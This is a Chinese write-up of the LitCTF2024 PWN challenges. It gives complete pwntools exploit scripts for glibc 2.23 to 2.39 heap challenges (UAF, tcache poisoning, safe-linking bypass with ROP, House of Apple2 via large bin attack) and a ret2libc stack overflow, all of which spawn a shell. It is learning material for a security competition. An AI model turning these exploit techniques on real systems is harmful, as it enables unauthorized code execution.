LitCTF2024 PWN方向 wp
Falling_Dusk 发表于 四川 CTF 1367浏览 · 2024-06-07 05:50

导言

都听别人说这次探姬杯很简单,算新生杯...但这个pwn看起来没那么新生的样子,五堆一栈,栈那道题出的时候我没看,在磕2.35...打完比赛后才发现确实简单,纯纯简单栈溢出,打完后狠狠复现,算是给自己巩固堆了。不过2.39还真是第一次碰,高级货

Heap

2.23

checksec

源审

因为这些堆题的源码都是一样的,所以我就展示一遍

思路

很正常的UAF漏洞,因为是2.23版本,所以我们能利用的就是fast_bins。因为在该版本下,伪造fast_bins区间的chunk时,会检测该chunk的size域是否位于fast_bins的区间内,所以我们要找个fake_fast_chunk,pwndbg里安置了该插件,供我们快速寻找。因为我们劫持的是malloc_hook,所以我们寻找它的fake_fast_chunk即可,一般来说,fake_fast_chunk = malloc_hook - 0x23

因为我已经在脚本里修改过这个fake_chunk了,所以bk和fd才会全是61。总之,这个地方才是我们攻击的地方。利用错位构造即可写出payload

将malloc_hook劫持为onegadget即可getshell,因为远端环境无了,所以我打的本地

Payload

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

p = process('./heap')
# p = remote('node1.anna.nssctf.cn',28945)
libc = ELF('./libc.so.6')

def add(idx,size):
    p.recvuntil('>>')
    p.sendline(b'1')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('size? ')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('>>')
    p.sendline(b'2')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('>>')
    p.sendline(b'3')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('>>')
    p.sendline(b'4')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('content : ')
    p.send(content)

add(0,0x200)
add(1,0x60)
add(2,0x60)
add(3,0x60)
add(4,0x20)
delete(0)
show(0)
p.recvuntil('content : ')
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x68
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
onegadget = libc_base + 0xf1247
log.success('one==>'+hex(onegadget))

fake_chunk = malloc_hook - 0x23
log.success('fake==>'+hex(fake_chunk))
delete(1)
edit(1,p64(fake_chunk))
add(5,0x60)
add(6,0x60)
edit(6,b'a' * (0x10 + 0x03) + p64(onegadget))
gdb.attach(p)
add(7,0)
p.interactive()

2.27

这题开始我换虚拟机做了,因为docker里少了点东西

checksec

思路

glibc-2.27版本引入了tcache,但此时还没引入tcache的检测,所以基本就是想怎么申请都行,在这里我们劫持free_hook为system来getshell,free一个内容含/bin/sh\x00的堆块即可

edit过后的free_hook

修改堆块内容为/bin/sh\x00并free即可

Payload

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

p = process('./heap')
# p = remote('node1.anna.nssctf.cn',28190)
libc = ELF('./libc.so.6')

def add(idx,size):
    p.recvuntil('>>')
    p.sendline(b'1')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('size? ')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('>>')
    p.sendline(b'2')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('>>')
    p.sendline(b'3')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('>>')
    p.sendline(b'4')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('content : ')
    p.send(content)

for i in range(10):
    add(i,0x80)
for i in range(10):
    delete(i)

show(7)
p.recvuntil('content : ')
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x70
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))

onegadget = libc_base + 0x4f302
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
gdb.attach(p)
edit(6,p64(free_hook))
add(10,0x80)
add(11,0x80)
edit(11,p64(system))
add(12,0x80)
edit(12,b'/bin/sh\x00')
delete(12)

p.interactive()

2.31

checksec

思路

这道题的解法和上边几乎一模一样,只是多了tcache_bins的长度检测,会检测bins上的个数是否和申请的匹配,不匹配的话没法申请出来。比如说tcache_bins上0x90的chunk个数为0,但是我们gdb里显示我们劫持的地址还没申请出来,这个时候如果malloc的话是无效的,没法申请出来。所以要是想劫持hook地址,我们就需要至少两个堆块被free进了tcache_bins里,修改头指针fd为hook即可

直接onegadget

Payload

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

# p = process('./heap')
p = remote('node2.anna.nssctf.cn',28168)
libc = ELF('./libc.so.6')

def add(idx,size):
    p.recvuntil('>>')
    p.sendline(b'1')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('size? ')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('>>')
    p.sendline(b'2')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('>>')
    p.sendline(b'3')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('>>')
    p.sendline(b'4')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('content : ')
    p.send(content)

for i in range(10):
    add(i,0x80)
for i in range(10):
    delete(i)
show(7)
p.recvuntil('content : ')
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x70
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))

onegadget = libc_base + 0xe3b01
edit(6,p64(malloc_hook))
add(10,0x80)
add(11,0x80)
edit(11,p64(onegadget))
add(12,0x80)

p.interactive()

2.35

这道题我在比赛的时候没打出来,赛后才弄出来。

checksec


这题我最开始做的时候没有checksec,没看到canary导致后续一直出错...

思路

做这题的时候就需要看add的源码了

可以看到,所有malloc的堆块都由指针数组ptr来管理,因为开启了canary,不能往栈内修改,只能往rbp及下的位置,所以我们若是能让ptr的元素之一指向栈的返回地址,修改edit函数的rbp为ROP链修改返回地址为ROP链,我们是否就能getshell了呢?为了达成攻击效果,我们得布置好堆。

不过需要注意的是,我们必须在edit修改完返回地址后直接在edit内getshell,因为add与edit栈帧一致,共享同一rbp指向的地址,若是我们edit了rbp,而add从tcache_bins取chunk,chunk的地址是我们的rbp,而rbp+8的位置会被当做tcache_key而被清空,导致我们add时返回了非法地址'0',使得我们还没getshell就GOF了

首先通过unsorted_bins泄露libc,在free一个tcache_bins区间内的chunk并移位获得heap_base(2.35新增的保护机制)

add(0,0x410)
add(1,0x60)
add(2,0x60)
delete(0)
show(0)
p.recvuntil('content : ')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x219C80
log.success('libc_base==>'+hex(libc_base))

delete(1)
show(1)
p.recvuntil('content : ')
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 #在2.35中,为保护tcache_bins,会对它们的fd向右移3位,一般我们泄露的都是尾指针的fd,此时只用把它向左移3位填充\x00即是heap_base
log.success('heap_base==>'+hex(heap_base))

OK,在泄露完libc和heap_base后,我们就来用environ来泄露栈地址

environ = libc_base + libc.symbols['environ']
log.success('environ==>'+hex(environ))
delete(2)
edit(2,p64((heap_base >> 12) ^ (environ))) #也是2.35的保护机制之一,若是想修改fd,得先heap_base移位然后与target_addr异或,这样申请下来的堆块才是我们的目标地址
add(3,0x60)
add(4,0x60)
show(4)
p.recvuntil('content : ')
stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x120
log.success('stack==>'+hex(stack))

有了栈地址后,我们还需要程序的虚拟地址,根据相对偏移来计算出ptr指针数组的地址,来进行修改

add(5,0x60)
delete(5)
delete(3)
edit(3,p64((heap_base >> 12) ^ (stack-0x08)))
add(6,0x60)
add(7,0x60)
edit(7,b'a' * 0x18)
# gdb.attach(p)
show(7)
p.recvuntil('content : ')
p.recv(0x18)
elf_main = u64(p.recv(6).ljust(8,b'\x00'))
log.success('elf_main==>'+hex(elf_main))
ptr = elf_main + 0x28BF
log.success('ptr==>'+hex(ptr))

现在该有的基本都有的,该去修改统筹chunk的ptr来getshell了

rdi = libc_base + 0x23b6a
ret = libc_base + 0x22679
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
add(8,0x60)
delete(8)
delete(3)
edit(3,p64((heap_base >> 12) ^ (ptr+0x30)))
add(9,0x60)
add(10,0x60)
edit(10,p64(0) + p64(stack-0x20))
edit(7,p64(ret) + p64(rdi) + p64(binsh_addr) + p64(system))#system函数里有个十六字节对齐检测,不通过的话会报错,所以要加个ret

先看我们的ptr的指向

申请进去后的指向,此时就已经指向了我们edit的返回地址了

再edit一次ret为ROP链即可getshell

Payload

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

p = process('./heap')
# p = remote('node1.anna.nssctf.cn',28190)
libc = ELF('./libc.so.6')

def add(idx,size):
    p.recvuntil('>>')
    p.sendline(b'1')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('size? ')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('>>')
    p.sendline(b'2')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('>>')
    p.sendline(b'3')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('>>')
    p.sendline(b'4')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('content : ')
    p.send(content)


add(0,0x410)
add(1,0x60)
add(2,0x60)
delete(0)
show(0)
p.recvuntil('content : ')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x219C80
log.success('libc_base==>'+hex(libc_base))

delete(1)
show(1)
p.recvuntil('content : ')
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))
environ = libc_base + libc.symbols['environ']
log.success('environ==>'+hex(environ))
system = libc_base + libc.symbols['system']
log.success('system==>'+hex(system))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('binsh_addr==>'+hex(binsh_addr))

delete(2)
edit(2,p64((heap_base >> 12) ^ (environ)))
add(3,0x60)
add(4,0x60)
show(4)
p.recvuntil('content : ')
stack = u64(p.recv(6).ljust(8,b'\x00')) - 0x120
log.success('stack==>'+hex(stack))

rdi = libc_base + 0x23b6a
ret = libc_base + 0x22679

add(5,0x60)
delete(5)
delete(3)
edit(3,p64((heap_base >> 12) ^ (stack-0x08)))
add(6,0x60)
add(7,0x60)
edit(7,b'a' * 0x18)
show(7)
p.recvuntil('content : ')
p.recv(0x18)
elf_main = u64(p.recv(6).ljust(8,b'\x00'))
log.success('elf_main==>'+hex(elf_main))
ptr = elf_main + 0x28BF
log.success('ptr==>'+hex(ptr))

add(8,0x60)
delete(8)
delete(3)
edit(3,p64((heap_base >> 12) ^ (ptr+0x30)))
add(9,0x60)
add(10,0x60)
edit(10,p64(0) + p64(stack-0x20))
gdb.attach(p)
edit(7,p64(ret) + p64(rdi) + p64(binsh_addr) + p64(system))

p.interactive()

碎碎念

比赛的时候的坑我是一踩一个准...忘记了tcache的机制,还想着怎么add后的返回地址是非法地址0呢,然后又因为canary问题,一直没想到该怎么修改。后面忍痛割爱想用large_bins_attack,但是一直没弄出来。赛后再看函数才注意到指针数组ptr,才想到该怎么成功修改ret地址,果然还是不能太着急啊——

2.39

新题目源码

add函数新增源码,限定size大小为large_bins的区间,所以典型的就是利用large_bins_attack

新增保护机制

在这种最新的高版本中,又增加了一些改动和对堆的检测

对tcache的指针进行加密,除了尾指针还能仅通过移位获得heap_base以外,其余的都被加密成了些奇怪的数据

以下是我编写的一个小程序来了解这个机制将指针变成了什么样

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

int main(){
    size_t *p1 = malloc(0x80);
    size_t *p2 = malloc(0x80);
    size_t *p3 = malloc(0x80);
    size_t *p4 = malloc(0x80);
    size_t *p5 = malloc(0x80);
    free(p4);
    free(p3);
    free(p2);
    free(p1);
    return 0;
}

在free到p1时,堆空间是这样的

查看一下各个堆的内容

可以看到,bk都被加密成了同一个数据,而fd只有尾指针是正常的跟以前没什么差别,其余的多少都经过了加密,还有些事一样的加密。具体是怎样加密的等以后研究。

总的来说,对tcache的数据进行了加密,限制了对tcache的利用,不过一般来说我们也只用尾指针泄露heap_base就是了

对基地址进行了修改,在我们以前都是以\x7f开头的,但是在如今的版本,连基地址也进行了随机化,成了\x7x开头,x位于0-f区间内,意味着我们现在接收数据只能用recv(6),而不能用recvuntil('\x7f'),比如:

可以明显看到与我们常见的libc大相径庭,意味着以后我们在接收基地址的时候会更加麻烦,如果没有字符串让我们进行定位的话,可能就得推敲它的偏移地址了,得一步步动调

思路

在高版本中,目前而言最好用且用途最广泛的IO攻击方式就是House of Apple了,只用一次large_bin_attack就可以实现我们getshell或者其他目的。这里我选择用House of Apple2的_IO_wfile_overflow函数控制执行流

强力推荐roderick01师傅原创的House of Apple系列!

leak libc and heap_base

add(8,0x508) #为后序伪造_IO_FILE结构体做准备
add(0,0x510) #伪造的_IO_FILE结构体主体
add(1,0x500) 
add(2,0x520) #泄露libc和heap
add(3,0x500)

delete(2)
add(4,0x550) #分配2进large_bins
# gdb.attach(p)
show(2)
p.recvuntil('content : ')
large_bin = u64(p.recv(6).ljust(8,b'\x00'))
log.success('large_bin==>'+hex(large_bin))
libc_base = large_bin - 0x203F50
log.success('libc_base==>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
log.success('IO_list_all==>'+hex(IO_list_all))
IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
log.success('IO_wfile_jumps==>'+hex(IO_wfile_jumps))
system = libc_base + libc.symbols['system']
log.success('system==>'+hex(system))

edit(2,b'a'*0x10) #修改至fd_nextsize,该指针此时指向的是自己,根据这个计算出heap_base
# gdb.attach(p)
show(2)
p.recvuntil('content : ')
p.recvuntil('aaaaaaaaaaaaaaaa')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11d0
log.success('heap_base==>'+hex(heap_base))

伪造IO_FILE结构体

delete(0) #为后续实现任意地址写做准备
edit(2,p64(large_bin) + p64(large_bin) + p64(heap_addr) + p64(IO_list_all - 0x20))  #伪造bk_nextsize指针
add(5,0x550) #chunk0的bk_nextsize指向_IO_list_all - 0x20,_IO_list_all指向chunk0
chunk = heap_addr - 0xa30 #chunk0的首地址
log.success('chunk==>'+hex(chunk))
edit(8, b'a' * 0x500 + p32(0xfffff7f5) + b';sh\x00')  #修改chunk0的prev为0x68733bfffff7f5,也就是伪造的_IO_FILE的flag位。其中前四字节为';sh\x00'的ASCII值,后四字节中,高的二字节作用为屏蔽flag最高的四字节,意味着检测的时候检测不到我们的';sh\x00'。后面的f7f5设立了很多状态,跟后续的攻击有关,建议丢给GPT解释

fake_IO = p64(0) * 2 + p64(1) + p64(2) #from _IO_read_end to _IO_write_ptr,当write_ptr>write_base时,会调用overflow
fake_IO = fake_IO.ljust(0xa0 - 0x10,b'\x00') + p64(chunk + 0x100) #wide_data
fake_IO = fake_IO.ljust(0xc0 - 0x10,b'\x00') + p64(0xffffffffffffffff) #mode
fake_IO = fake_IO.ljust(0xd8 - 0x10,b'\x00') + p64(IO_wfile_jumps) #vtable
fake_IO = fake_IO.ljust(0x100 - 0x10 + 0xe0,b'\x00') + p64(chunk + 0x200) #_wide_data->_wide_vtable,当write_ptr>write_base且_IO_buf_base为空,会调用_IO_wdoallocbuf
fake_IO = fake_IO.ljust(0x200 - 0x10,b'\x00') + p64(0) * 13 + p64(system) # _wide_data->_wide_vtable->doallocate

edit(0,fake_IO)

解释下后边的fake_IO。

在调用exit函数时,会有这样的调用链

exit->fcloseall->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW

最后会调用_IO_list_all来遍历每一个_IO_FILE结构体,满足一定条件会调用vtable->overflow函数指针指向的函数。

在这里,我们将wide_data指向chunk+0x100,将_wide_data结构体的_wide_vtable指针指向chunk+0x200,将(_IO_FILE->_wide_data->_wide_vtable + 0x68)(fp)修改成了system(';sh\x00'),至于为什么这样修改就详见roderick01师傅的文章了。我来大概阐述下调用流程

_IO_list_all指向我们伪造的_IO_FILE结构体chunk,将vtable指向了_IO_wfile_jumps,_IO_wfile_jumps调用了结构体中的_IO_file_overflow函数,_IO_file_overflow函数调用了_IO_wdoallocbuf(调用这个是经历的一系列检测的,跟前边的伪造有关),又通过两层检验后最终调用到我们的(_IO_FILE->_wide_data->_wide_vtable + 0x68)(fp)(这个结构也跟我们_IO_jump_t有关)。也就是我们的chunk->chunk+0x100->chunk+0x200+0x68(';sh\x00'),至此,我们的攻击就完成了接下来只要主动触发exit函数就好

来看看修改后的chunk长什么样

就挺神奇的,不过我们这个调用链没有用到fcloseall,是因为我们设置的flag位里不许调用该函数了,也算个小点吧

Payload

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./heap')
libc = ELF('./libc.so.6')

def add(idx,size):
    p.recvuntil('>>')
    p.sendline(b'1')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('size? ')
    p.sendline(str(size))

def delete(idx):
    p.recvuntil('>>')
    p.sendline(b'2')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('>>')
    p.sendline(b'3')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('>>')
    p.sendline(b'4')
    p.recvuntil(b'idx? ')
    p.sendline(str(idx))
    p.recvuntil('content : ')
    p.send(content)

add(8,0x508)
add(0,0x510)
add(1,0x500)
add(2,0x520)
add(3,0x500)
delete(2)
add(4,0x550)
show(2)
p.recvuntil('content : ')
large_bin = u64(p.recv(6).ljust(8,b'\x00'))
log.success('large_bin==>'+hex(large_bin))
libc_base = large_bin - 0x203F50
log.success('libc_base==>'+hex(libc_base))
IO_list_all = libc_base + libc.symbols['_IO_list_all']
log.success('IO_list_all==>'+hex(IO_list_all))
IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
log.success('IO_wfile_jumps==>'+hex(IO_wfile_jumps))
system = libc_base + libc.symbols['system']
log.success('system==>'+hex(system))

edit(2,b'a'*0x10)
show(2)
p.recvuntil('content : ')
p.recvuntil('aaaaaaaaaaaaaaaa')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11d0
log.success('heap_base==>'+hex(heap_base))

delete(0)
edit(2,p64(large_bin) + p64(large_bin) + p64(heap_addr) + p64(IO_list_all - 0x20))
add(5,0x550)
chunk = heap_addr - 0xa30
log.success('chunk==>'+hex(chunk))
edit(8, b'a' * 0x500 + p32(0xfffff7f5) + b';sh\x00') 

fake_IO = p64(0) * 2 + p64(1) + p64(2)
fake_IO = fake_IO.ljust(0xa0 - 0x10,b'\x00') + p64(chunk + 0x100) #wide_data
fake_IO = fake_IO.ljust(0xc0 - 0x10,b'\x00') + p64(0xffffffffffffffff) #mode
fake_IO = fake_IO.ljust(0xd8 - 0x10,b'\x00') + p64(IO_wfile_jumps) #vtable
fake_IO = fake_IO.ljust(0x100 - 0x10 + 0xe0,b'\x00') + p64(chunk + 0x200) #_wide_data->_wide_vtable
fake_IO = fake_IO.ljust(0x200 - 0x10,b'\x00') + p64(0) * 13 + p64(system) # _wide_data->_wide_vtable->doallocate

edit(0,fake_IO)
gdb.attach(p)
p.recvuntil('>>')
p.sendline(b'5')
p.interactive()

碎碎念

这个堆题让我学到了好多...对初学堆的人来说,确实是一道很有价值的题目,还让我了解了2.39的一些新机制,挺好的

不过研究得我确实想撞墙,光配个24.04的虚拟机弄得我红温,pip都成外部管理包了,不允许直接使用,还得--break-system-packages...

ATM

checksec

源审

可以看到有明显的栈溢出,修改一下nbyte的大小达成栈溢出条件后,用ret2libc即可

Payload

from pwn import *
from LibcSearcher import LibcSearcher
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./app')
p = remote('node4.anna.nssctf.cn',28409)
elf = ELF('./app')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(b'password')
p.sendline(b'Dusk')
p.recvuntil(b'4.Exit')
p.sendline(b'3')
p.recvuntil(b'deposit')
p.sendline(b'1000')

# gdb.attach(p)
p.recvuntil(b'4.Exit')
p.sendline(b'5')
p.recvuntil(b'gift:')
printf = int(p.recv(14),16)
log.success('printf==>'+hex(printf))
libc = LibcSearcher("printf",printf)
libc_base = printf - libc.dump("printf")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

pop_rdi = 0x401233
pop_ret = 0x40101a

payload = b'a' * 0x168  + p64(pop_ret) + p64(pop_rdi) + p64(binsh) + p64(system)
pause()
p.sendline(payload)

p.recvuntil(b'4.Exit')
p.sendline(b'4')
p.interactive()

原本想上网站搜版本的,结果我的网站炸了没法进...所以就用了LibcSearcher,不过它居然还能搜到2.35的版本,看来是更新了?

0 条评论
某人
表情
可输入 255